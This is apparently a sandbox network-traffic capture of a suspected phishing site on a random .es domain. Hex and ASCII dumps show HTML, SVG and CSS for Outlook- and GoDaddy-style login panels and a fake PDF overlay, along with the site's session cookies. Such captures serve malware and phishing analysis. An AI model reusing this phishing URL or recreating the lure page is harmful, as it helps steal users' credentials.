2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 20 63 6f 6e 74 61 69 6e 3b 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6f 75 74 6c 6f 6f 6b 6c 6f 67 6f 65 6c 65 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 61 64 69 6e 67 4c 6f 67 6f 22 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 53 68 61 64 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 22 3e 3c 64 69 76 20 69 64 3d 22 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 69 Data Ascii: sans-serif;background-color: #fff;color: #000;padding: 20px;font-size: 18px;overscroll-behavior: contain;"><div id="outlooklogoele"><div id="loadingLogo"><div id="container"><div id="containerShadow"></div><div id="logo"><div id="flapContainer"><div i
2025-03-26 21:11:18 UTC	11	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 0d 0a Data Ascii: "></path>
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 32 63 31 66 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 2c1f<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363
2025-03-26 21:11:18 UTC	1369	IN	Data Raw: 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 32 2e 32 31 39 2d 2e Data Ascii: .826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642.219-.

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:18 UTC	1369	OUT	GET /56qKfabgxy7BW6719 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1083	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56qKfabgxy7BW6719" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q8z645Fv8WwK9Q%2BdCBtb4BxedXKdxhsLwM4dd2P%2BvFZ0Hazx2mFdwhJOEFHe3AXfdhnvjauPWtzSYnx0nvBpJsoscLRm6ftcQCSt3XCwqKSDHVXSl2U8YKfcSB5aohctsRB9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16328&min_rtt=16247&rtt_var=4614&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2287&delivery_rate=247703&cwnd=252&unsent_bytes=0&cid=0d3762455ac651e8&ts=191&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9269a3c79d8e42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89462&min_rtt=89367&rtt_var=18996&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1941&delivery_rate=34090&cwnd=252&unsent_bytes=0&cid=56679552a67bba96&ts=1143&x=0"
2025-03-26 21:11:19 UTC	286	IN	Data Raw: 33 37 62 39 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b9#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 Data Ascii: er #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 70 Data Ascii: grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971.25p
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 Data Ascii: mation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:rota
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f Data Ascii: r{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-botto
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 Data Ascii: }#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;height
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f Data Ascii: ider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider .cho
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 Data Ascii: .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0,0,0
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d 61 Data Ascii: ions_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;ma
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f Data Ascii: show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#sectio

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1371	OUT	GET /abJCa5Je0mpqNDWcd22 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1084	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abJCa5Je0mpqNDWcd22" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AndlxxerWTyaTg89j%2FiM2SSVPzLpSL4d%2FAeLXxLoRxStLVXOvSsNTMAo%2FdO9w3dCWNCu40zjSeyQtIXPmghKYVX%2BS0MouHyXpJzqSbYgXGwCGq617OdJzwKqh3UO8UtTbFkc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=446&min_rtt=407&rtt_var=188&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2289&delivery_rate=6192955&cwnd=252&unsent_bytes=0&cid=b8ef08e0b1c5fe47&ts=153&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9269a3c94967e351-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89259&min_rtt=89171&rtt_var=18852&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1943&delivery_rate=34245&cwnd=252&unsent_bytes=0&cid=08da0f084a50b2eb&ts=361&x=0"
2025-03-26 21:11:19 UTC	285	IN	Data Raw: 33 37 62 37 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b7#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d Data Ascii: root { 